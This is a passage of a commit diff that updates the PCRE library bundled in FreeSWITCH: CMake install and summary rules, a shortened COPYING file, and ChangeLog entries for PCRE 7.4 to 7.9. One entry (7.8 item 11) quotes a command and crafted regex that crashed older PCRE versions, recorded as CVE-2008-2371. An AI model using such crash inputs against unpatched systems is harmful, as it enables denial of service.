+                      DEBUG_LOCATION)
+
+  ADD_TEST(pcrecpp_test          ${PCRECPP_UNITTEST_EXE})
+  ADD_TEST(pcre_scanner_test     ${PCRE_SCANNER_UNITTEST_EXE})
+  ADD_TEST(pcre_stringpiece_test ${PCRE_STRINGPIECE_UNITTEST_EXE})
+ENDIF(PCRE_BUILD_TESTS)
+
+# Installation
+SET(CMAKE_INSTALL_ALWAYS 1)
+
+INSTALL(TARGETS ${targets}
+        RUNTIME DESTINATION bin
+        LIBRARY DESTINATION lib
+        ARCHIVE DESTINATION lib)
+
+INSTALL(FILES ${PCRE_HEADERS} ${PCREPOSIX_HEADERS} DESTINATION include)
+
+FILE(GLOB html ${PROJECT_SOURCE_DIR}/doc/html/*.html)
+FILE(GLOB man1 ${PROJECT_SOURCE_DIR}/doc/*.1)
+FILE(GLOB man3 ${PROJECT_SOURCE_DIR}/doc/*.3)
+
+IF(PCRE_BUILD_PCRECPP)
+        INSTALL(FILES ${PCRECPP_HEADERS} DESTINATION include)
+ELSE(PCRE_BUILD_PCRECPP)
+        # Remove pcrecpp.3
+        FOREACH(man ${man3})
+                GET_FILENAME_COMPONENT(man_tmp ${man} NAME)
+                IF(NOT man_tmp STREQUAL "pcrecpp.3")
+                        SET(man3_new ${man3} ${man})
+                ENDIF(NOT man_tmp STREQUAL "pcrecpp.3")
+        ENDFOREACH(man ${man3})
+        SET(man3 ${man3_new})
+ENDIF(PCRE_BUILD_PCRECPP)
+
+
+INSTALL(FILES ${man1} DESTINATION man/man1)
+INSTALL(FILES ${man3} DESTINATION man/man3)
+INSTALL(FILES ${html} DESTINATION share/doc/pcre/html)
+
+# help, only for nice output
+IF(BUILD_SHARED_LIBS)
+  SET(BUILD_STATIC_LIBS OFF)
+ELSE(BUILD_SHARED_LIBS)
+  SET(BUILD_STATIC_LIBS ON)
+ENDIF(BUILD_SHARED_LIBS)
+
+IF(PCRE_SHOW_REPORT)
+  STRING(TOUPPER "${CMAKE_BUILD_TYPE}" buildtype)
+  IF (CMAKE_C_FLAGS)
+    SET(cfsp " ")
+  ENDIF(CMAKE_C_FLAGS)
+  IF (CMAKE_CXX_FLAGS)
+    SET(cxxfsp " ")
+  ENDIF(CMAKE_CXX_FLAGS)
+  MESSAGE(STATUS "")
+  MESSAGE(STATUS "")
+  MESSAGE(STATUS "PCRE configuration summary:")
+  MESSAGE(STATUS "")
+  MESSAGE(STATUS "  Install prefix .................. : ${CMAKE_INSTALL_PREFIX}")
+  MESSAGE(STATUS "  C compiler ...................... : ${CMAKE_C_COMPILER}")
+  MESSAGE(STATUS "  C++ compiler .................... : ${CMAKE_CXX_COMPILER}")
+  MESSAGE(STATUS "  C compiler flags ................ : ${CMAKE_C_FLAGS}${cfsp}${CMAKE_C_FLAGS_${buildtype}}")
+  MESSAGE(STATUS "  C++ compiler flags .............. : ${CMAKE_CXX_FLAGS}${cxxfsp}${CMAKE_CXX_FLAGS_${buildtype}}")
+  MESSAGE(STATUS "")
+  MESSAGE(STATUS "  Build C++ library ............... : ${PCRE_BUILD_PCRECPP}")
+  MESSAGE(STATUS "  Enable UTF-8 support ............ : ${PCRE_SUPPORT_UNICODE_PROPERTIES}")
+  MESSAGE(STATUS "  Unicode properties .............. : ${PCRE_SUPPORT_UNICODE_PROPERTIES}")
+  MESSAGE(STATUS "  Newline char/sequence ........... : ${PCRE_NEWLINE}")
+  MESSAGE(STATUS "  \\R matches only ANYCRLF ......... : ${PCRE_SUPPORT_BSR_ANYCRLF}")
+  MESSAGE(STATUS "  EBCDIC coding ................... : ${PCRE_EBCDIC}")
+  MESSAGE(STATUS "  Rebuild char tables ............. : ${PCRE_REBUILD_CHARTABLES}")
+  MESSAGE(STATUS "  No stack recursion .............. : ${PCRE_NO_RECURSE}")
+  MESSAGE(STATUS "  POSIX mem threshold ............. : ${PCRE_POSIX_MALLOC_THRESHOLD}")
+  MESSAGE(STATUS "  Internal link size .............. : ${PCRE_LINK_SIZE}")
+  MESSAGE(STATUS "  Match limit ..................... : ${PCRE_MATCH_LIMIT}")
+  MESSAGE(STATUS "  Match limit recursion ........... : ${PCRE_MATCH_LIMIT_RECURSION}")
+  MESSAGE(STATUS "  Build shared libs ............... : ${BUILD_SHARED_LIBS}")
+  MESSAGE(STATUS "  Build static libs ............... : ${BUILD_STATIC_LIBS}")
+  MESSAGE(STATUS "  Build pcregrep .................. : ${PCRE_BUILD_PCREGREP}")
+  MESSAGE(STATUS "  Build tests (implies pcretest) .. : ${PCRE_BUILD_TESTS}")
+  IF(ZLIB_FOUND)
+    MESSAGE(STATUS "  Link pcregrep with libz ......... : ${PCRE_SUPPORT_LIBZ}")
+  ELSE(ZLIB_FOUND)
+    MESSAGE(STATUS "  Link pcregrep with libz ......... : None" )
+  ENDIF(ZLIB_FOUND)
+  IF(BZIP2_FOUND)
+    MESSAGE(STATUS "  Link pcregrep with libbz2 ....... : ${PCRE_SUPPORT_LIBBZ2}")
+  ELSE(BZIP2_FOUND)
+    MESSAGE(STATUS "  Link pcregrep with libbz2 ....... : None" )
+  ENDIF(BZIP2_FOUND)
+  IF(NOT PCRE_SUPPORT_LIBREADLINE)
+    MESSAGE(STATUS "  Link pcretest with libreadline .. : None" )
+  ELSE(NOT PCRE_SUPPORT_LIBREADLINE)
+    MESSAGE(STATUS "  Link pcretest with libreadline .. : ${PCRE_SUPPORT_LIBREADLINE}")
+  ENDIF(NOT PCRE_SUPPORT_LIBREADLINE)
+  IF(MINGW AND NOT PCRE_STATIC)
+    MESSAGE(STATUS "  Non-standard dll names (prefix) . : ${NON_STANDARD_LIB_PREFIX}")
+    MESSAGE(STATUS "  Non-standard dll names (suffix) . : ${NON_STANDARD_LIB_SUFFIX}")
+  ENDIF(MINGW AND NOT PCRE_STATIC)
+  MESSAGE(STATUS "")
+ENDIF(PCRE_SHOW_REPORT)
+
+# end CMakeLists.txt

Modified: freeswitch/branches/seven/libs/pcre/COPYING (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/COPYING	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/COPYING	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,68 +1,5 @@
 PCRE LICENCE
-------------
 
-PCRE is a library of functions to support regular expressions whose syntax
-and semantics are as close as possible to those of the Perl 5 language.
+Please see the file LICENCE in the PCRE distribution for licensing details.
 
-Release 6 of PCRE is distributed under the terms of the "BSD" licence, as
-specified below. The documentation for PCRE, supplied in the "doc"
-directory, is distributed under the same terms as the software itself.
-
-The basic library functions are written in C and are freestanding. Also
-included in the distribution is a set of C++ wrapper functions.
-
-
-THE BASIC LIBRARY FUNCTIONS
----------------------------
-
-Written by:       Philip Hazel
-Email local part: ph10
-Email domain:     cam.ac.uk
-
-University of Cambridge Computing Service,
-Cambridge, England. Phone: +44 1223 334714.
-
-Copyright (c) 1997-2006 University of Cambridge
-All rights reserved.
-
-
-THE C++ WRAPPER FUNCTIONS
--------------------------
-
-Contributed by:   Google Inc.
-
-Copyright (c) 2006, Google Inc.
-All rights reserved.
-
-
-THE "BSD" LICENCE
------------------
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimer.
-
-    * Redistributions in binary form must reproduce the above copyright
-      notice, this list of conditions and the following disclaimer in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the name of the University of Cambridge nor the name of Google
-      Inc. nor the names of their contributors may be used to endorse or
-      promote products derived from this software without specific prior
-      written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
 End

Modified: freeswitch/branches/seven/libs/pcre/ChangeLog (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/ChangeLog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,1235 @@
 ChangeLog for PCRE
 ------------------
 
+Version 7.9 11-Apr-09
+---------------------
+
+1.  When building with support for bzlib/zlib (pcregrep) and/or readline
+    (pcretest), all targets were linked against these libraries. This included
+    libpcre, libpcreposix, and libpcrecpp, even though they do not use these
+    libraries. This caused unwanted dependencies to be created. This problem
+    has been fixed, and now only pcregrep is linked with bzlib/zlib and only
+    pcretest is linked with readline.
+
+2.  The "typedef int BOOL" in pcre_internal.h that was included inside the
+    "#ifndef FALSE" condition by an earlier change (probably 7.8/18) has been
+    moved outside it again, because FALSE and TRUE are already defined in AIX,
+    but BOOL is not.
+
+3.  The pcre_config() function was treating the PCRE_MATCH_LIMIT and
+    PCRE_MATCH_LIMIT_RECURSION values as ints, when they should be long ints.
+
+4.  The pcregrep documentation said spaces were inserted as well as colons (or
+    hyphens) following file names and line numbers when outputting matching
+    lines. This is not true; no spaces are inserted. I have also clarified the
+    wording for the --colour (or --color) option.
+
+5.  In pcregrep, when --colour was used with -o, the list of matching strings
+    was not coloured; this is different to GNU grep, so I have changed it to be
+    the same.
+
+6.  When --colo(u)r was used in pcregrep, only the first matching substring in
+    each matching line was coloured. Now it goes on to look for further matches
+    of any of the test patterns, which is the same behaviour as GNU grep.
+
+7.  A pattern that could match an empty string could cause pcregrep to loop; it
+    doesn't make sense to accept an empty string match in pcregrep, so I have
+    locked it out (using PCRE's PCRE_NOTEMPTY option). By experiment, this
+    seems to be how GNU grep behaves.
+
+8.  The pattern (?(?=.*b)b|^) was incorrectly compiled as "match must be at
+    start or after a newline", because the conditional assertion was not being
+    correctly handled. The rule now is that both the assertion and what follows
+    in the first alternative must satisfy the test.
+
+9.  If auto-callout was enabled in a pattern with a conditional group whose
+    condition was an assertion, PCRE could crash during matching, both with
+    pcre_exec() and pcre_dfa_exec().
+
+10. The PCRE_DOLLAR_ENDONLY option was not working when pcre_dfa_exec() was
+    used for matching.
+
+11. Unicode property support in character classes was not working for
+    characters (bytes) greater than 127 when not in UTF-8 mode.
+
+12. Added the -M command line option to pcretest.
+
+14. Added the non-standard REG_NOTEMPTY option to the POSIX interface.
+
+15. Added the PCRE_NO_START_OPTIMIZE match-time option.
+
+16. Added comments and documentation about mis-use of no_arg in the C++
+    wrapper.
+
+17. Implemented support for UTF-8 encoding in EBCDIC environments, a patch
+    from Martin Jerabek that uses macro names for all relevant character and
+    string constants.
+
+18. Added to pcre_internal.h two configuration checks: (a) If both EBCDIC and
+    SUPPORT_UTF8 are set, give an error; (b) If SUPPORT_UCP is set without
+    SUPPORT_UTF8, define SUPPORT_UTF8. The "configure" script handles both of
+    these, but not everybody uses configure.
+
+19. A conditional group that had only one branch was not being correctly
+    recognized as an item that could match an empty string. This meant that an
+    enclosing group might also not be so recognized, causing infinite looping
+    (and probably a segfault) for patterns such as ^"((?(?=[a])[^"])|b)*"$
+    with the subject "ab", where knowledge that the repeated group can match
+    nothing is needed in order to break the loop.
+
+20. If a pattern that was compiled with callouts was matched using pcre_dfa_
+    exec(), but without supplying a callout function, matching went wrong.
+
+21. If PCRE_ERROR_MATCHLIMIT occurred during a recursion, there was a memory
+    leak if the size of the offset vector was greater than 30. When the vector
+    is smaller, the saved offsets during recursion go onto a local stack
+    vector, but for larger vectors malloc() is used. It was failing to free
+    when the recursion yielded PCRE_ERROR_MATCH_LIMIT (or any other "abnormal"
+    error, in fact).
+
+22. There was a missing #ifdef SUPPORT_UTF8 round one of the variables in the
+    heapframe that is used only when UTF-8 support is enabled. This caused no
+    problem, but was untidy.
+
+23. Steven Van Ingelgem's patch to CMakeLists.txt to change the name
+    CMAKE_BINARY_DIR to PROJECT_BINARY_DIR so that it works when PCRE is
+    included within another project.
+
+24. Steven Van Ingelgem's patches to add more options to the CMake support,
+    slightly modified by me:
+
+      (a) PCRE_BUILD_TESTS can be set OFF not to build the tests, including
+          not building pcregrep.
+
+      (b) PCRE_BUILD_PCREGREP can be see OFF not to build pcregrep, but only
+          if PCRE_BUILD_TESTS is also set OFF, because the tests use pcregrep.
+
+25. Forward references, both numeric and by name, in patterns that made use of
+    duplicate group numbers, could behave incorrectly or give incorrect errors,
+    because when scanning forward to find the reference group, PCRE was not
+    taking into account the duplicate group numbers. A pattern such as
+    ^X(?3)(a)(?|(b)|(q))(Y) is an example.
+
+26. Changed a few more instances of "const unsigned char *" to USPTR, making
+    the feature of a custom pointer more persuasive (as requested by a user).
+
+27. Wrapped the definitions of fileno and isatty for Windows, which appear in
+    pcretest.c, inside #ifndefs, because it seems they are sometimes already
+    pre-defined.
+
+28. Added support for (*UTF8) at the start of a pattern.
+
+29. Arrange for flags added by the "release type" setting in CMake to be shown
+    in the configuration summary.
+
+
+Version 7.8 05-Sep-08
+---------------------
+
+1.  Replaced UCP searching code with optimized version as implemented for Ad
+    Muncher (http://www.admuncher.com/) by Peter Kankowski. This uses a two-
+    stage table and inline lookup instead of a function, giving speed ups of 2
+    to 5 times on some simple patterns that I tested. Permission was given to
+    distribute the MultiStage2.py script that generates the tables (it's not in
+    the tarball, but is in the Subversion repository).
+
+2.  Updated the Unicode datatables to Unicode 5.1.0. This adds yet more
+    scripts.
+
+3.  Change 12 for 7.7 introduced a bug in pcre_study() when a pattern contained
+    a group with a zero qualifier. The result of the study could be incorrect,
+    or the function might crash, depending on the pattern.
+
+4.  Caseless matching was not working for non-ASCII characters in back
+    references. For example, /(\x{de})\1/8i was not matching \x{de}\x{fe}.
+    It now works when Unicode Property Support is available.
+
+5.  In pcretest, an escape such as \x{de} in the data was always generating
+    a UTF-8 string, even in non-UTF-8 mode. Now it generates a single byte in
+    non-UTF-8 mode. If the value is greater than 255, it gives a warning about
+    truncation.
+
+6.  Minor bugfix in pcrecpp.cc (change "" == ... to NULL == ...).
+
+7.  Added two (int) casts to pcregrep when printing the difference of two
+    pointers, in case they are 64-bit values.
+
+8.  Added comments about Mac OS X stack usage to the pcrestack man page and to
+    test 2 if it fails.
+
+9.  Added PCRE_CALL_CONVENTION just before the names of all exported functions,
+    and a #define of that name to empty if it is not externally set. This is to
+    allow users of MSVC to set it if necessary.
+
+10. The PCRE_EXP_DEFN macro which precedes exported functions was missing from
+    the convenience functions in the pcre_get.c source file.
+
+11. An option change at the start of a pattern that had top-level alternatives
+    could cause overwriting and/or a crash. This command provoked a crash in
+    some environments:
+
+      printf "/(?i)[\xc3\xa9\xc3\xbd]|[\xc3\xa9\xc3\xbdA]/8\n" | pcretest
+
+    This potential security problem was recorded as CVE-2008-2371.
+
+12. For a pattern where the match had to start at the beginning or immediately
+    after a newline (e.g /.*anything/ without the DOTALL flag), pcre_exec() and
+    pcre_dfa_exec() could read past the end of the passed subject if there was
+    no match. To help with detecting such bugs (e.g. with valgrind), I modified
+    pcretest so that it places the subject at the end of its malloc-ed buffer.
+
+13. The change to pcretest in 12 above threw up a couple more cases when pcre_
+    exec() might read past the end of the data buffer in UTF-8 mode.
+
+14. A similar bug to 7.3/2 existed when the PCRE_FIRSTLINE option was set and
+    the data contained the byte 0x85 as part of a UTF-8 character within its
+    first line. This applied both to normal and DFA matching.
+
+15. Lazy qualifiers were not working in some cases in UTF-8 mode. For example,
+    /^[^d]*?$/8 failed to match "abc".
+
+16. Added a missing copyright notice to pcrecpp_internal.h.
+
+17. Make it more clear in the documentation that values returned from
+    pcre_exec() in ovector are byte offsets, not character counts.
+
+18. Tidied a few places to stop certain compilers from issuing warnings.
+
+19. Updated the Virtual Pascal + BCC files to compile the latest v7.7, as
+    supplied by Stefan Weber. I made a further small update for 7.8 because
+    there is a change of source arrangements: the pcre_searchfuncs.c module is
+    replaced by pcre_ucd.c.
+
+
+Version 7.7 07-May-08
+---------------------
+
+1.  Applied Craig's patch to sort out a long long problem: "If we can't convert
+    a string to a long long, pretend we don't even have a long long." This is
+    done by checking for the strtoq, strtoll, and _strtoi64 functions.
+
+2.  Applied Craig's patch to pcrecpp.cc to restore ABI compatibility with
+    pre-7.6 versions, which defined a global no_arg variable instead of putting
+    it in the RE class. (See also #8 below.)
+
+3.  Remove a line of dead code, identified by coverity and reported by Nuno
+    Lopes.
+
+4.  Fixed two related pcregrep bugs involving -r with --include or --exclude:
+
+    (1) The include/exclude patterns were being applied to the whole pathnames
+        of files, instead of just to the final components.
+
+    (2) If there was more than one level of directory, the subdirectories were
+        skipped unless they satisfied the include/exclude conditions. This is
+        inconsistent with GNU grep (and could even be seen as contrary to the
+        pcregrep specification - which I improved to make it absolutely clear).
+        The action now is always to scan all levels of directory, and just
+        apply the include/exclude patterns to regular files.
+
+5.  Added the --include_dir and --exclude_dir patterns to pcregrep, and used
+    --exclude_dir in the tests to avoid scanning .svn directories.
+
+6.  Applied Craig's patch to the QuoteMeta function so that it escapes the
+    NUL character as backslash + 0 rather than backslash + NUL, because PCRE
+    doesn't support NULs in patterns.
+
+7.  Added some missing "const"s to declarations of static tables in
+    pcre_compile.c and pcre_dfa_exec.c.
+
+8.  Applied Craig's patch to pcrecpp.cc to fix a problem in OS X that was
+    caused by fix #2  above. (Subsequently also a second patch to fix the
+    first patch. And a third patch - this was a messy problem.)
+
+9.  Applied Craig's patch to remove the use of push_back().
+
+10. Applied Alan Lehotsky's patch to add REG_STARTEND support to the POSIX
+    matching function regexec().
+
+11. Added support for the Oniguruma syntax \g<name>, \g<n>, \g'name', \g'n',
+    which, however, unlike Perl's \g{...}, are subroutine calls, not back
+    references. PCRE supports relative numbers with this syntax (I don't think
+    Oniguruma does).
+
+12. Previously, a group with a zero repeat such as (...){0} was completely
+    omitted from the compiled regex. However, this means that if the group
+    was called as a subroutine from elsewhere in the pattern, things went wrong
+    (an internal error was given). Such groups are now left in the compiled
+    pattern, with a new opcode that causes them to be skipped at execution
+    time.
+
+13. Added the PCRE_JAVASCRIPT_COMPAT option. This makes the following changes
+    to the way PCRE behaves:
+
+    (a) A lone ] character is dis-allowed (Perl treats it as data).
+
+    (b) A back reference to an unmatched subpattern matches an empty string
+        (Perl fails the current match path).
+
+    (c) A data ] in a character class must be notated as \] because if the
+        first data character in a class is ], it defines an empty class. (In
+        Perl it is not possible to have an empty class.) The empty class []
+        never matches; it forces failure and is equivalent to (*FAIL) or (?!).
+        The negative empty class [^] matches any one character, independently
+        of the DOTALL setting.
+
+14. A pattern such as /(?2)[]a()b](abc)/ which had a forward reference to a
+    non-existent subpattern following a character class starting with ']' and
+    containing () gave an internal compiling error instead of "reference to
+    non-existent subpattern". Fortunately, when the pattern did exist, the
+    compiled code was correct. (When scanning forwards to check for the
+    existencd of the subpattern, it was treating the data ']' as terminating
+    the class, so got the count wrong. When actually compiling, the reference
+    was subsequently set up correctly.)
+
+15. The "always fail" assertion (?!) is optimzed to (*FAIL) by pcre_compile;
+    it was being rejected as not supported by pcre_dfa_exec(), even though
+    other assertions are supported. I have made pcre_dfa_exec() support
+    (*FAIL).
+
+16. The implementation of 13c above involved the invention of a new opcode,
+    OP_ALLANY, which is like OP_ANY but doesn't check the /s flag. Since /s
+    cannot be changed at match time, I realized I could make a small
+    improvement to matching performance by compiling OP_ALLANY instead of
+    OP_ANY for "." when DOTALL was set, and then removing the runtime tests
+    on the OP_ANY path.
+
+17. Compiling pcretest on Windows with readline support failed without the
+    following two fixes: (1) Make the unistd.h include conditional on
+    HAVE_UNISTD_H; (2) #define isatty and fileno as _isatty and _fileno.
+
+18. Changed CMakeLists.txt and cmake/FindReadline.cmake to arrange for the
+    ncurses library to be included for pcretest when ReadLine support is
+    requested, but also to allow for it to be overridden. This patch came from
+    Daniel Bergstr\xF6m.
+
+19. There was a typo in the file ucpinternal.h where f0_rangeflag was defined
+    as 0x00f00000 instead of 0x00800000. Luckily, this would not have caused
+    any errors with the current Unicode tables. Thanks to Peter Kankowski for
+    spotting this.
+
+
+Version 7.6 28-Jan-08
+---------------------
+
+1.  A character class containing a very large number of characters with
+    codepoints greater than 255 (in UTF-8 mode, of course) caused a buffer
+    overflow.
+
+2.  Patch to cut out the "long long" test in pcrecpp_unittest when
+    HAVE_LONG_LONG is not defined.
+
+3.  Applied Christian Ehrlicher's patch to update the CMake build files to
+    bring them up to date and include new features. This patch includes:
+
+    - Fixed PH's badly added libz and libbz2 support.
+    - Fixed a problem with static linking.
+    - Added pcredemo. [But later removed - see 7 below.]
+    - Fixed dftables problem and added an option.
+    - Added a number of HAVE_XXX tests, including HAVE_WINDOWS_H and
+        HAVE_LONG_LONG.
+    - Added readline support for pcretest.
+    - Added an listing of the option settings after cmake has run.
+
+4.  A user submitted a patch to Makefile that makes it easy to create
+    "pcre.dll" under mingw when using Configure/Make. I added stuff to
+    Makefile.am that cause it to include this special target, without
+    affecting anything else. Note that the same mingw target plus all
+    the other distribution libraries and programs are now supported
+    when configuring with CMake (see 6 below) instead of with
+    Configure/Make.
+
+5.  Applied Craig's patch that moves no_arg into the RE class in the C++ code.
+    This is an attempt to solve the reported problem "pcrecpp::no_arg is not
+    exported in the Windows port". It has not yet been confirmed that the patch
+    solves the problem, but it does no harm.
+
+6.  Applied Sheri's patch to CMakeLists.txt to add NON_STANDARD_LIB_PREFIX and
+    NON_STANDARD_LIB_SUFFIX for dll names built with mingw when configured
+    with CMake, and also correct the comment about stack recursion.
+
+7.  Remove the automatic building of pcredemo from the ./configure system and
+    from CMakeLists.txt. The whole idea of pcredemo.c is that it is an example
+    of a program that users should build themselves after PCRE is installed, so
+    building it automatically is not really right. What is more, it gave
+    trouble in some build environments.
+
+8.  Further tidies to CMakeLists.txt from Sheri and Christian.
+
+
+Version 7.5 10-Jan-08
+---------------------
+
+1.  Applied a patch from Craig: "This patch makes it possible to 'ignore'
+    values in parens when parsing an RE using the C++ wrapper."
+
+2.  Negative specials like \S did not work in character classes in UTF-8 mode.
+    Characters greater than 255 were excluded from the class instead of being
+    included.
+
+3.  The same bug as (2) above applied to negated POSIX classes such as
+    [:^space:].
+
+4.  PCRECPP_STATIC was referenced in pcrecpp_internal.h, but nowhere was it
+    defined or documented. It seems to have been a typo for PCRE_STATIC, so
+    I have changed it.
+
+5.  The construct (?&) was not diagnosed as a syntax error (it referenced the
+    first named subpattern) and a construct such as (?&a) would reference the
+    first named subpattern whose name started with "a" (in other words, the
+    length check was missing). Both these problems are fixed. "Subpattern name
+    expected" is now given for (?&) (a zero-length name), and this patch also
+    makes it give the same error for \k'' (previously it complained that that
+    was a reference to a non-existent subpattern).
+
+6.  The erroneous patterns (?+-a) and (?-+a) give different error messages;
+    this is right because (?- can be followed by option settings as well as by
+    digits. I have, however, made the messages clearer.
+
+7.  Patterns such as (?(1)a|b) (a pattern that contains fewer subpatterns
+    than the number used in the conditional) now cause a compile-time error.
+    This is actually not compatible with Perl, which accepts such patterns, but
+    treats the conditional as always being FALSE (as PCRE used to), but it
+    seems to me that giving a diagnostic is better.
+
+8.  Change "alphameric" to the more common word "alphanumeric" in comments
+    and messages.
+
+9.  Fix two occurrences of "backslash" in comments that should have been
+    "backspace".
+
+10. Remove two redundant lines of code that can never be obeyed (their function
+    was moved elsewhere).
+
+11. The program that makes PCRE's Unicode character property table had a bug
+    which caused it to generate incorrect table entries for sequences of
+    characters that have the same character type, but are in different scripts.
+    It amalgamated them into a single range, with the script of the first of
+    them. In other words, some characters were in the wrong script. There were
+    thirteen such cases, affecting characters in the following ranges:
+
+      U+002b0 - U+002c1
+      U+0060c - U+0060d
+      U+0061e - U+00612
+      U+0064b - U+0065e
+      U+0074d - U+0076d
+      U+01800 - U+01805
+      U+01d00 - U+01d77
+      U+01d9b - U+01dbf
+      U+0200b - U+0200f
+      U+030fc - U+030fe
+      U+03260 - U+0327f
+      U+0fb46 - U+0fbb1
+      U+10450 - U+1049d
+
+12. The -o option (show only the matching part of a line) for pcregrep was not
+    compatible with GNU grep in that, if there was more than one match in a
+    line, it showed only the first of them. It now behaves in the same way as
+    GNU grep.
+
+13. If the -o and -v options were combined for pcregrep, it printed a blank
+    line for every non-matching line. GNU grep prints nothing, and pcregrep now
+    does the same. The return code can be used to tell if there were any
+    non-matching lines.
+
+14. Added --file-offsets and --line-offsets to pcregrep.
+
+15. The pattern (?=something)(?R) was not being diagnosed as a potentially
+    infinitely looping recursion. The bug was that positive lookaheads were not
+    being skipped when checking for a possible empty match (negative lookaheads
+    and both kinds of lookbehind were skipped).
+
+16. Fixed two typos in the Windows-only code in pcregrep.c, and moved the
+    inclusion of <windows.h> to before rather than after the definition of
+    INVALID_FILE_ATTRIBUTES (patch from David Byron).
+
+17. Specifying a possessive quantifier with a specific limit for a Unicode
+    character property caused pcre_compile() to compile bad code, which led at
+    runtime to PCRE_ERROR_INTERNAL (-14). Examples of patterns that caused this
+    are: /\p{Zl}{2,3}+/8 and /\p{Cc}{2}+/8. It was the possessive "+" that
+    caused the error; without that there was no problem.
+
+18. Added --enable-pcregrep-libz and --enable-pcregrep-libbz2.
+
+19. Added --enable-pcretest-libreadline.
+
+20. In pcrecpp.cc, the variable 'count' was incremented twice in
+    RE::GlobalReplace(). As a result, the number of replacements returned was
+    double what it should be. I removed one of the increments, but Craig sent a
+    later patch that removed the other one (the right fix) and added unit tests
+    that check the return values (which was not done before).
+
+21. Several CMake things:
+
+    (1) Arranged that, when cmake is used on Unix, the libraries end up with
+        the names libpcre and libpcreposix, not just pcre and pcreposix.
+
+    (2) The above change means that pcretest and pcregrep are now correctly
+        linked with the newly-built libraries, not previously installed ones.
+
+    (3) Added PCRE_SUPPORT_LIBREADLINE, PCRE_SUPPORT_LIBZ, PCRE_SUPPORT_LIBBZ2.
+
+22. In UTF-8 mode, with newline set to "any", a pattern such as .*a.*=.b.*
+    crashed when matching a string such as a\x{2029}b (note that \x{2029} is a
+    UTF-8 newline character). The key issue is that the pattern starts .*;
+    this means that the match must be either at the beginning, or after a
+    newline. The bug was in the code for advancing after a failed match and
+    checking that the new position followed a newline. It was not taking
+    account of UTF-8 characters correctly.
+
+23. PCRE was behaving differently from Perl in the way it recognized POSIX
+    character classes. PCRE was not treating the sequence [:...:] as a
+    character class unless the ... were all letters. Perl, however, seems to
+    allow any characters between [: and :], though of course it rejects as
+    unknown any "names" that contain non-letters, because all the known class
+    names consist only of letters. Thus, Perl gives an error for [[:1234:]],
+    for example, whereas PCRE did not - it did not recognize a POSIX character
+    class. This seemed a bit dangerous, so the code has been changed to be
+    closer to Perl. The behaviour is not identical to Perl, because PCRE will
+    diagnose an unknown class for, for example, [[:l\ower:]] where Perl will
+    treat it as [[:lower:]]. However, PCRE does now give "unknown" errors where
+    Perl does, and where it didn't before.
+
+24. Rewrite so as to remove the single use of %n from pcregrep because in some
+    Windows environments %n is disabled by default.
+
+
+Version 7.4 21-Sep-07
+---------------------
+
+1.  Change 7.3/28 was implemented for classes by looking at the bitmap. This
+    means that a class such as [\s] counted as "explicit reference to CR or
+    LF". That isn't really right - the whole point of the change was to try to
+    help when there was an actual mention of one of the two characters. So now
+    the change happens only if \r or \n (or a literal CR or LF) character is
+    encountered.
+
+2.  The 32-bit options word was also used for 6 internal flags, but the numbers
+    of both had grown to the point where there were only 3 bits left.
+    Fortunately, there was spare space in the data structure, and so I have
+    moved the internal flags into a new 16-bit field to free up more option
+    bits.
+
+3.  The appearance of (?J) at the start of a pattern set the DUPNAMES option,
+    but did not set the internal JCHANGED flag - either of these is enough to
+    control the way the "get" function works - but the PCRE_INFO_JCHANGED
+    facility is supposed to tell if (?J) was ever used, so now (?J) at the
+    start sets both bits.
+
+4.  Added options (at build time, compile time, exec time) to change \R from
+    matching any Unicode line ending sequence to just matching CR, LF, or CRLF.
+
+5.  doc/pcresyntax.html was missing from the distribution.
+
+6.  Put back the definition of PCRE_ERROR_NULLWSLIMIT, for backward
+    compatibility, even though it is no longer used.
+
+7.  Added macro for snprintf to pcrecpp_unittest.cc and also for strtoll and
+    strtoull to pcrecpp.cc to select the available functions in WIN32 when the
+    windows.h file is present (where different names are used). [This was
+    reversed later after testing - see 16 below.]
+
+8.  Changed all #include <config.h> to #include "config.h". There were also
+    some further <pcre.h> cases that I changed to "pcre.h".
+
+9.  When pcregrep was used with the --colour option, it missed the line ending
+    sequence off the lines that it output.
+
+10. It was pointed out to me that arrays of string pointers cause lots of
+    relocations when a shared library is dynamically loaded. A technique of
+    using a single long string with a table of offsets can drastically reduce
+    these. I have refactored PCRE in four places to do this. The result is
+    dramatic:
+
+      Originally:                          290
+      After changing UCP table:            187
+      After changing error message table:   43
+      After changing table of "verbs"       36
+      After changing table of Posix names   22
+
+    Thanks to the folks working on Gregex for glib for this insight.
+
+11. --disable-stack-for-recursion caused compiling to fail unless -enable-
+    unicode-properties was also set.
+
+12. Updated the tests so that they work when \R is defaulted to ANYCRLF.
+
+13. Added checks for ANY and ANYCRLF to pcrecpp.cc where it previously
+    checked only for CRLF.
+
+14. Added casts to pcretest.c to avoid compiler warnings.
+
+15. Added Craig's patch to various pcrecpp modules to avoid compiler warnings.
+
